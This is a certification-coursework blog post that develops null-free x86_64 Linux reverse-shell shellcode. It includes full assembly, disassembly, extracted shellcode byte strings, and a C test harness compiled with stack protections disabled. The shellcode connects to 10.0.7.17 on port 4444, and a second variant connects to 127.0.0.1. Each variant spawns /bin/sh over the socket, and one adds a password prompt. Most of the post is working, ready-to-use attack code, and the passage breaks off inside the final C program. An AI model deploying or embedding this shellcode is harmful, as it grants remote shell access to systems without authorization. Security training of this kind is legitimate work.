Student ID: SLAE64-1611
Assignment Two: Creating Shellcode to Open a Reverse Shell Over TCP in x86_64
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert 64 Certification:
https://www.pentesteracademy.com/course?id=7
All code can be found in: https://github.com/securitychops/security-tube-slae64
All work was tested on a 64bit version of Ubuntu 18.04.1 LTS
TLDR; - JMP short Final_Shellcode
Part 1 of 2: Creating Shellcode to Open a Reverse Shell Over TCP in x86_64
If you have not already read my post from the 32bit version of the SLAE (Creating Shellcode to Create a Reverse Shell Over TCP (x86 edition)) then I would highly encourage you to do so before continuing forward since I will not be going into quite the same level of extreme detail I did in that post…
Below I present my initial port of the x86 reverse-shell code that was written for the 32bit version of the course Check it out GitHub
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86_64) Assembly
; File Name : reverse-shell.nasm
global _start
section .text
_start:
jmp real_start
enter_password: db 'Enter the secret password to continue: ', 0xa
real_start:
; SYS_SOCKET socket(2)
; rax : sys_socket 41
; rdi : int family
; rsi : int type
; rdx : int protocol
xor rax, rax ; need to zero our rax
; so we can load it with
; the socket syscall 0x41
mov rdi, rax ; zeroing out rdi
mov rsi, rdi ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
add rax, 41 ; setting rax to socket
add rdi, 2 ; family / AF_INET
add rsi, 1 ; type / SOCK_STREAM
; leave rdx alone since it is already 0x00
syscall ; make the call to socket
; socketid will be in rax
; rax sys_connect 42
; rdi : file descriptor
; rsi : struct sockaddr *upeer_sockaddr
; rdx : int *upeer_addrlen
xchg rdi, rax ; move socketid into rdi
xor rax, rax ; zero out rax
; rdi already contains socketid
mov rsi, rax ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a
push rdx
mov dword [rsp-4], 0x1107010a ; moving in 10.1.7.17
; but we need to get it to
; 10.0.7.17 by subbing 01
; from 10.1.7.17 since our IP
; is 10.0.7.17
sub byte [rsp-3], 1 ; sub 1 from x.1.x.x
mov word [rsp-6], 0x5C11 ; port number (least significant
; byte first ... 0x115C is 4444)
mov word [rsp-8], 0xffff ; AF_INET - which is 0x2 but we need
; to avoid nulls to we will start with
; 0xffff and subtract 0xfffd
sub word [rsp-8], 0xfffd ; this will take us back to 0x02
sub rsp, 8 ; realigning the stack
xor rdx, rdx ; zero out rdx again
add rdx, 16 ; setting address length to 16
mov rsi, rsp ; moving stack to rsi
add rax, 42 ; setting sys_connect into rax
syscall
; rax : sys_dup2 33
; rdi : already contains clientid
; rsi : 1 to 3 in loop
xor r9, r9 ; zeroing out loop counter
loopin:
xor rax, rax ; zero out rax
add rax, 33 ; setting rax to sys_dup2
mov rsi, r9 ; move fileid to duplicate
syscall ; call dup2
inc r9 ; increase r9 by 0x01
cmp r9, 3 ; compare r9 to 0x03
jne loopin
; We need to check for password here
; 1. ask for password
; 2. check password
; sys_read
; letup loop to checking the password
checkpassword:
; sys_write
; rax : 1
; rdi : unsigned int fd : 1 for stdout
; rsi : const char *buf : string
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdx, rax ; zero out rdx
inc rax ; increase rax to 1
mov rdi, rax ; move 1 into rdi
lea rsi, [rel enter_password] ; moving enter_password
add rdx, 39 ; setting size enter_password
syscall
; sys_read
; rdi : unsigned int fd : 0 for stdin
; rsi : char *buf : stack?
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdi, rax ; zero out rdi
mov rdx, rax ; zero out rdx
; leave rax alone since read is 0
mov rsi, rsp ; set buffer to stack
add rdx, 8 ; setting size of Password
syscall ; calling read
mov rdi, rsp ; setting rdi to input buffer
mov rax, 0x64726f7773736150 ; moving Password into buffer
scasd ; scanning for a match
jne checkpassword ; if not a match then re-ask for password
; sys_execve
; rax : sys_execve 59
; rdi : const char *filename
; rsi : const char *const argv[]
; rdx : const char *const envp[]
xor rax, rax ; zeroing out rax
add rax, 59 ; setting rax to sys_execve
xor r9, r9 ; zeroing out r9
push r9 ; pushing null to stack
mov rbx, 0x68732f6e69622f2f ; moving "//bin/sh"
push rbx ; pushing "//bin/sh"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;rsp now looks like: "//bin/sh,0x0000000000000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov rdi, rsp ; moving the param to rdi
; rdi now contains "//bin/sh,0x0000000000000000"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we need to get 0x0000000000000000 into rdx
push r9 ; r9 is still 0x0000000000000000 so push it to rsp
mov rdx, rsp ; we need to move a 0x0000000000000000 into
; the third parameter in rdx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; the second parameter is needs to be "//bin/sh,0x0000000000000000"
; which we can accomplish by moving rdi onto the stack
; and then moving rsp into rsi since it will be on the stack
push rdi ; pushing "//bin/sh,0x0000000000000000" back to the stack
mov rsi, rsp ; moving the address of rdi (on the stack) to ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
syscall ; calling sys_execve
Those Pesky Nulls Are No More Again!
So now we have an initial set of code that works, we need to now check it for nulls with the following command:
objdump -d -M intel reverse-shell
which produces the following output:
reverse-shell: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: eb 28 jmp 4000aa <real_start>
0000000000400082 <enter_password>:
400082: 45 6e rex.RB outs dx,BYTE PTR ds:[rsi]
400084: 74 65 je 4000eb <real_start+0x41>
400086: 72 20 jb 4000a8 <enter_password+0x26>
400088: 74 68 je 4000f2 <real_start+0x48>
40008a: 65 20 73 65 and BYTE PTR gs:[rbx+0x65],dh
40008e: 63 72 65 movsxd esi,DWORD PTR [rdx+0x65]
400091: 74 20 je 4000b3 <real_start+0x9>
400093: 70 61 jo 4000f6 <real_start+0x4c>
400095: 73 73 jae 40010a <loopin+0x2>
400097: 77 6f ja 400108 <loopin>
400099: 72 64 jb 4000ff <real_start+0x55>
40009b: 20 74 6f 20 and BYTE PTR [rdi+rbp*2+0x20],dh
40009f: 63 6f 6e movsxd ebp,DWORD PTR [rdi+0x6e]
4000a2: 74 69 je 40010d <loopin+0x5>
4000a4: 6e outs dx,BYTE PTR ds:[rsi]
4000a5: 75 65 jne 40010c <loopin+0x4>
4000a7: 3a 20 cmp ah,BYTE PTR [rax]
4000a9: 0a .byte 0xa
00000000004000aa <real_start>:
4000aa: 48 31 c0 xor rax,rax
4000ad: 48 89 c7 mov rdi,rax
4000b0: 48 89 fe mov rsi,rdi
4000b3: 48 89 f2 mov rdx,rsi
4000b6: 48 83 c0 29 add rax,0x29
4000ba: 48 83 c7 02 add rdi,0x2
4000be: 48 83 c6 01 add rsi,0x1
4000c2: 0f 05 syscall
4000c4: 48 97 xchg rdi,rax
4000c6: 48 31 c0 xor rax,rax
4000c9: 48 89 c6 mov rsi,rax
4000cc: 48 89 f2 mov rdx,rsi
4000cf: 52 push rdx
4000d0: c7 44 24 fc 0a 01 07 mov DWORD PTR [rsp-0x4],0x1107010a
4000d7: 11
4000d8: 80 6c 24 fd 01 sub BYTE PTR [rsp-0x3],0x1
4000dd: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000e4: 66 c7 44 24 f8 ff ff mov WORD PTR [rsp-0x8],0xffff
4000eb: 66 83 6c 24 f8 fd sub WORD PTR [rsp-0x8],0xfffd
4000f1: 48 83 ec 08 sub rsp,0x8
4000f5: 48 31 d2 xor rdx,rdx
4000f8: 48 83 c2 10 add rdx,0x10
4000fc: 48 89 e6 mov rsi,rsp
4000ff: 48 83 c0 2a add rax,0x2a
400103: 0f 05 syscall
400105: 4d 31 c9 xor r9,r9
0000000000400108 <loopin>:
400108: 48 31 c0 xor rax,rax
40010b: 48 83 c0 21 add rax,0x21
40010f: 4c 89 ce mov rsi,r9
400112: 0f 05 syscall
400114: 49 ff c1 inc r9
400117: 49 83 f9 03 cmp r9,0x3
40011b: 75 eb jne 400108 <loopin>
000000000040011d <checkpassword>:
40011d: 48 31 c0 xor rax,rax
400120: 48 89 c2 mov rdx,rax
400123: 48 ff c0 inc rax
400126: 48 89 c7 mov rdi,rax
400129: 48 8d 35 52 ff ff ff lea rsi,[rip+0xffffffffffffff52] # 400082 <enter_password>
400130: 48 83 c2 27 add rdx,0x27
400134: 0f 05 syscall
400136: 48 31 c0 xor rax,rax
400139: 48 89 c7 mov rdi,rax
40013c: 48 89 c2 mov rdx,rax
40013f: 48 89 e6 mov rsi,rsp
400142: 48 83 c2 08 add rdx,0x8
400146: 0f 05 syscall
400148: 48 89 e7 mov rdi,rsp
40014b: 48 b8 50 61 73 73 77 movabs rax,0x64726f7773736150
400152: 6f 72 64
400155: af scas eax,DWORD PTR es:[rdi]
400156: 75 c5 jne 40011d <checkpassword>
400158: 48 31 c0 xor rax,rax
40015b: 48 83 c0 3b add rax,0x3b
40015f: 4d 31 c9 xor r9,r9
400162: 41 51 push r9
400164: 48 bb 2f 2f 62 69 6e movabs rbx,0x68732f6e69622f2f
40016b: 2f 73 68
40016e: 53 push rbx
40016f: 48 89 e7 mov rdi,rsp
400172: 41 51 push r9
400174: 48 89 e2 mov rdx,rsp
400177: 57 push rdi
400178: 48 89 e6 mov rsi,rsp
40017b: 0f 05 syscall
Since we wrote the code to not have any nulls we are free to convert it to shellcode. Doing so will involve borrowing the following most excellent command provided by Vivek during the SLAE64 course!
for i in $(objdump -D reverse-shell.o |grep "^ " |cut -f2);do echo -n '\x'$i;done;echo
running that command against our object produces the following output:
\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x52\xc7\x44\x24\xfc\x0a\x01\x07\x11\x80\x6c\x24\xfd\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xd2\x48\x83\xc2\x10\x48\x89\xe6\x48\x83\xc0\x2a\x0f\x05\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x52\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05
which we can then insert into our proof of concept C program that will execute shellcode!
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 2 : Reverse Shell TCP (Linux/x86_64) Assembly
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
"\xeb\x28\x45\x6e\x74\x65\x72\x20\x74\x68\x65\x20\x73\x65\x63\x72\x65\x74\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x74\x6f\x20\x63\x6f\x6e\x74\x69\x6e\x75\x65\x3a\x20\x0a\x48\x31\xc0\x48\x89\xc7\x48\x89\xfe\x48\x89\xf2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x97\x48\x31\xc0\x48\x89\xc6\x48\x89\xf2\x52\xc7\x44\x24\xfc\x0a\x01\x07\x11\x80\x6c\x24\xfd\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xd2\x48\x83\xc2\x10\x48\x89\xe6\x48\x83\xc0\x2a\x0f\x05\x4d\x31\xc9\x48\x31\xc0\x48\x83\xc0\x21\x4c\x89\xce\x0f\x05\x49\xff\xc1\x49\x83\xf9\x03\x75\xeb\x48\x31\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc7\x48\x8d\x35\x52\xff\xff\xff\x48\x83\xc2\x27\x0f\x05\x48\x31\xc0\x48\x89\xc7\x48\x89\xc2\x48\x89\xe6\x48\x83\xc2\x08\x0f\x05\x48\x89\xe7\x48\xb8\x50\x61\x73\x73\x77\x6f\x72\x64\xaf\x75\xc5\x48\x31\xc0\x48\x83\xc0\x3b\x4d\x31\xc9\x41\x51\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x41\x51\x48\x89\xe2\x57\x48\x89\xe6\x0f\x05";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-1/shellcode.c
which needs to be compiled with the following flags in order to disable all of the normal protections against executing dangerous code like we are about to…
gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
At this point we have a fully functional application (with no stack protection) that can execute our shellcode simulating an exploitation!
Reverse Shell Connecting from Server:
Part 2 of 2: DeNullin’ the SecurityTube Provided Reverse Shell Assembly Code
So for part two we are asked to take assembly code provided by our friends at SecurityTube for their reverse shell and remove all of the nulls that they were kind enough to leave in… ;)
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
mov rax, 41
mov rdi, 2
mov rsi, 1
mov rdx, 0
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], 0x0100007f
mov word [rsp-6], 0x5c11
mov word [rsp-8], 0x2
sub rsp, 8
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
mov rax, 42
mov rsi, rsp
mov rdx, 16
syscall
; duplicate sockets
; dup2 (new, old)
mov rax, 33
mov rsi, 0
syscall
mov rax, 33
mov rsi, 1
syscall
mov rax, 33
mov rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
Like last time lets start by compiling and then running objdump to figure out all the places where we are left with nulls.
objdump -d -M intel denull
Below is the dumped object output:
denull: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: b8 29 00 00 00 mov eax,0x29
400085: bf 02 00 00 00 mov edi,0x2
40008a: be 01 00 00 00 mov esi,0x1
40008f: ba 00 00 00 00 mov edx,0x0
400094: 0f 05 syscall
400096: 48 89 c7 mov rdi,rax
400099: 48 31 c0 xor rax,rax
40009c: 50 push rax
40009d: c7 44 24 fc 7f 00 00 mov DWORD PTR [rsp-0x4],0x100007f
4000a4: 01
4000a5: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000ac: 66 c7 44 24 f8 02 00 mov WORD PTR [rsp-0x8],0x2
4000b3: 48 83 ec 08 sub rsp,0x8
4000b7: b8 2a 00 00 00 mov eax,0x2a
4000bc: 48 89 e6 mov rsi,rsp
4000bf: ba 10 00 00 00 mov edx,0x10
4000c4: 0f 05 syscall
4000c6: b8 21 00 00 00 mov eax,0x21
4000cb: be 00 00 00 00 mov esi,0x0
4000d0: 0f 05 syscall
4000d2: b8 21 00 00 00 mov eax,0x21
4000d7: be 01 00 00 00 mov esi,0x1
4000dc: 0f 05 syscall
4000de: b8 21 00 00 00 mov eax,0x21
4000e3: be 02 00 00 00 mov esi,0x2
4000e8: 0f 05 syscall
4000ea: 48 31 c0 xor rax,rax
4000ed: 50 push rax
4000ee: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
4000f5: 2f 73 68
4000f8: 53 push rbx
4000f9: 48 89 e7 mov rdi,rsp
4000fc: 50 push rax
4000fd: 48 89 e2 mov rdx,rsp
400100: 57 push rdi
400101: 48 89 e6 mov rsi,rsp
400104: 48 83 c0 3b add rax,0x3b
400108: 0f 05 syscall
Just like in the previous blog post all we really need to do is go in and do the usual type of alterations, xor things and instead of doing a mov we will inc, add or sub where needed in order to get the values of the registers correct without the baggage of extra nulls that mov will bring!
global _start
_start:
; sock = socket(AF_INET, SOCK_STREAM, 0)
; AF_INET = 2
; SOCK_STREAM = 1
; syscall number 41
xor rax, rax
mov rdi, rax
mov rsi, rax
mov rdx, rax
add rax, 41
add rdi, 2
inc rsi
syscall
; copy socket descriptor to rdi for future use
mov rdi, rax
; server.sin_family = AF_INET
; server.sin_port = htons(PORT)
; server.sin_addr.s_addr = inet_addr("127.0.0.1")
; bzero(&server.sin_zero, 8)
xor rax, rax
push rax
mov dword [rsp-4], 0x0101017f ; moving in 127.1.1.1
sub byte [rsp-3], 1 ; sub 1 from x.1.x.x
sub byte [rsp-2], 1 ; sub 1 from x.x.1.x
mov word [rsp-6], 0x5c11 ; port 4444
mov word [rsp-8], 0xffff ; AF_INET - which is 0x2 but we need
; to avoid nulls to we will start with
; 0xffff and subtract 0xfffd
sub word [rsp-8], 0xfffd ; this will take us back to 0x02
sub rsp, 8
; connect(sock, (struct sockaddr *)&server, sockaddr_len)
xor rax, rax
mov rdx, rax
add rax, 42
mov rsi, rsp
add rdx, 16
syscall
; duplicate sockets
; dup2 (new, old)
xor rax, rax
mov rsi, rax
add rax, 33
syscall
xor rax, rax
mov rsi, rax
add rax, 33
inc rsi
syscall
xor rax, rax
mov rsi, rax
add rax, 33
add rsi, 2
syscall
; execve
; First NULL push
xor rax, rax
push rax
; push /bin//sh in reverse
mov rbx, 0x68732f2f6e69622f
push rbx
; store /bin//sh address in RDI
mov rdi, rsp
; Second NULL push
push rax
; set RDX
mov rdx, rsp
; Push address of /bin//sh
push rdi
; set RSI
mov rsi, rsp
; Call the Execve syscall
add rax, 59
syscall
Which produces the following null free objdump:
denull: file format elf64-x86-64
Disassembly of section .text:
0000000000400080 <_start>:
400080: 48 31 c0 xor rax,rax
400083: 48 89 c7 mov rdi,rax
400086: 48 89 c6 mov rsi,rax
400089: 48 89 c2 mov rdx,rax
40008c: 48 83 c0 29 add rax,0x29
400090: 48 83 c7 02 add rdi,0x2
400094: 48 ff c6 inc rsi
400097: 0f 05 syscall
400099: 48 89 c7 mov rdi,rax
40009c: 48 31 c0 xor rax,rax
40009f: 50 push rax
4000a0: c7 44 24 fc 7f 01 01 mov DWORD PTR [rsp-0x4],0x101017f
4000a7: 01
4000a8: 80 6c 24 fd 01 sub BYTE PTR [rsp-0x3],0x1
4000ad: 80 6c 24 fe 01 sub BYTE PTR [rsp-0x2],0x1
4000b2: 66 c7 44 24 fa 11 5c mov WORD PTR [rsp-0x6],0x5c11
4000b9: 66 c7 44 24 f8 ff ff mov WORD PTR [rsp-0x8],0xffff
4000c0: 66 83 6c 24 f8 fd sub WORD PTR [rsp-0x8],0xfffd
4000c6: 48 83 ec 08 sub rsp,0x8
4000ca: 48 31 c0 xor rax,rax
4000cd: 48 89 c2 mov rdx,rax
4000d0: 48 83 c0 2a add rax,0x2a
4000d4: 48 89 e6 mov rsi,rsp
4000d7: 48 83 c2 10 add rdx,0x10
4000db: 0f 05 syscall
4000dd: 48 31 c0 xor rax,rax
4000e0: 48 89 c6 mov rsi,rax
4000e3: 48 83 c0 21 add rax,0x21
4000e7: 0f 05 syscall
4000e9: 48 31 c0 xor rax,rax
4000ec: 48 89 c6 mov rsi,rax
4000ef: 48 83 c0 21 add rax,0x21
4000f3: 48 ff c6 inc rsi
4000f6: 0f 05 syscall
4000f8: 48 31 c0 xor rax,rax
4000fb: 48 89 c6 mov rsi,rax
4000fe: 48 83 c0 21 add rax,0x21
400102: 48 83 c6 02 add rsi,0x2
400106: 0f 05 syscall
400108: 48 31 c0 xor rax,rax
40010b: 50 push rax
40010c: 48 bb 2f 62 69 6e 2f movabs rbx,0x68732f2f6e69622f
400113: 2f 73 68
400116: 53 push rbx
400117: 48 89 e7 mov rdi,rsp
40011a: 50 push rax
40011b: 48 89 e2 mov rdx,rsp
40011e: 57 push rdi
40011f: 48 89 e6 mov rsi,rsp
400122: 48 83 c0 3b add rax,0x3b
400126: 0f 05 syscall
And the shellcode just for good measure!
\x48\x31\xc0\x48\x89\xc7\x48\x89\xc6\x48\x89\xc2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\xff\xc6\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\x7f\x01\x01\x01\x80\x6c\x24\xfd\x01\x80\x6c\x24\xfe\x01\x66\xc7\x44\x24\xfa\x11\x5c\x66\xc7\x44\x24\xf8\xff\xff\x66\x83\x6c\x24\xf8\xfd\x48\x83\xec\x08\x48\x31\xc0\x48\x89\xc2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x48\xff\xc6\x0f\x05\x48\x31\xc0\x48\x89\xc6\x48\x83\xc0\x21\x48\x83\xc6\x02\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05
Final_Shellcode:
Below are the contents of the final code needed to generate a tcp reverse shell that that will connect to 10.0.7.17 on port 4444.
Our Reverse Shell Assembly Code in x86_64 (Part 1)
; Student ID : SLAE64-1611
; Student Name : Jonathan "Chops" Crosby
; Assignment 2 : Reverse Shell TCP (Linux/x86_64) Assembly
; File Name : reverse-shell.nasm
global _start
section .text
_start:
jmp real_start
enter_password: db 'Enter the secret password to continue: ', 0xa
real_start:
; SYS_SOCKET socket(2)
; rax : sys_socket 41
; rdi : int family
; rsi : int type
; rdx : int protocol
xor rax, rax ; need to zero our rax
; so we can load it with
; the socket syscall 0x41
mov rdi, rax ; zeroing out rdi
mov rsi, rdi ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
add rax, 41 ; setting rax to socket
add rdi, 2 ; family / AF_INET
add rsi, 1 ; type / SOCK_STREAM
; leave rdx alone since it is already 0x00
syscall ; make the call to socket
; socketid will be in rax
; rax sys_connect 42
; rdi : file descriptor
; rsi : struct sockaddr *upeer_sockaddr
; rdx : int *upeer_addrlen
xchg rdi, rax ; move socketid into rdi
xor rax, rax ; zero out rax
; rdi already contains socketid
mov rsi, rax ; zeroing out rsi
mov rdx, rsi ; zeroing out rdx
; moving IP (10.0.7.17) [0x0a000711] but backwards is 0x1107000a
push rdx
mov dword [rsp-4], 0x1107010a ; moving in 10.1.7.17
; but we need to get it to
; 10.0.7.17 by subbing 01
; from 10.1.7.17 since our IP
; is 10.0.7.17
sub byte [rsp-3], 1 ; sub 1 from x.1.x.x
mov word [rsp-6], 0x5C11 ; port number (least significant
; byte first ... 0x115C is 4444)
mov word [rsp-8], 0xffff ; AF_INET - which is 0x2 but we need
; to avoid nulls to we will start with
; 0xffff and subtract 0xfffd
sub word [rsp-8], 0xfffd ; this will take us back to 0x02
sub rsp, 8 ; realigning the stack
xor rdx, rdx ; zero out rdx again
add rdx, 16 ; setting address length to 16
mov rsi, rsp ; moving stack to rsi
add rax, 42 ; setting sys_connect into rax
syscall
; rax : sys_dup2 33
; rdi : already contains clientid
; rsi : 1 to 3 in loop
xor r9, r9 ; zeroing out loop counter
loopin:
xor rax, rax ; zero out rax
add rax, 33 ; setting rax to sys_dup2
mov rsi, r9 ; move fileid to duplicate
syscall ; call dup2
inc r9 ; increase r9 by 0x01
cmp r9, 3 ; compare r9 to 0x03
jne loopin
; We need to check for password here
; 1. ask for password
; 2. check password
; sys_read
; letup loop to checking the password
checkpassword:
; sys_write
; rax : 1
; rdi : unsigned int fd : 1 for stdout
; rsi : const char *buf : string
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdx, rax ; zero out rdx
inc rax ; increase rax to 1
mov rdi, rax ; move 1 into rdi
lea rsi, [rel enter_password] ; moving enter_password
add rdx, 39 ; setting size enter_password
syscall
; sys_read
; rdi : unsigned int fd : 0 for stdin
; rsi : char *buf : stack?
; rdx : size_t count : how big
xor rax, rax ; zero out rax
mov rdi, rax ; zero out rdi
mov rdx, rax ; zero out rdx
; leave rax alone since read is 0
mov rsi, rsp ; set buffer to stack
add rdx, 8 ; setting size of Password
syscall ; calling read
mov rdi, rsp ; setting rdi to input buffer
mov rax, 0x64726f7773736150 ; moving Password into buffer
scasd ; scanning for a match
jne checkpassword ; if not a match then re-ask for password
; sys_execve
; rax : sys_execve 59
; rdi : const char *filename
; rsi : const char *const argv[]
; rdx : const char *const envp[]
xor rax, rax ; zeroing out rax
add rax, 59 ; setting rax to sys_execve
xor r9, r9 ; zeroing out r9
push r9 ; pushing null to stack
mov rbx, 0x68732f6e69622f2f ; moving "//bin/sh"
push rbx ; pushing "//bin/sh"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;rsp now looks like: "//bin/sh,0x0000000000000000";
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mov rdi, rsp ; moving the param to rdi
; rdi now contains "//bin/sh,0x0000000000000000"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, NOT-SET-YET);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we need to get 0x0000000000000000 into rdx
push r9 ; r9 is still 0x0000000000000000 so push it to rsp
mov rdx, rsp ; we need to move a 0x0000000000000000 into
; the third parameter in rdx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x0000000000000000", NOT-SET-YET, 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; the second parameter is needs to be "//bin/sh,0x0000000000000000"
; which we can accomplish by moving rdi onto the stack
; and then moving rsp into rsi since it will be on the stack
push rdi ; pushing "//bin/sh,0x0000000000000000" back to the stack
mov rsi, rsp ; moving the address of rdi (on the stack) to ecx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; now we look like: execve("//bin/sh,0x00000000000000000", *"//bin/sh,0x0000000000000000", 0x0000000000000000);
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
syscall ; calling sys_execve
https://github.com/securitychops/security-tube-slae64/blob/master/assignment-2/reverse-shell.nasm
Final C Program To Execute Shellcode (Part 1)
// Student ID : SLAE64-1611
// Student Name : Jonathan "Chops" Crosby
// Assignment 1 : Reverse Shell TCP (Linux/x86_64) Assembly
// File Name : shellcode.c
#include<stdio.h>
#include<string.h>
//compile with: gcc shellcode.c -o shellcode -fno-stack-protector -z execstack
unsigned char code[] = \
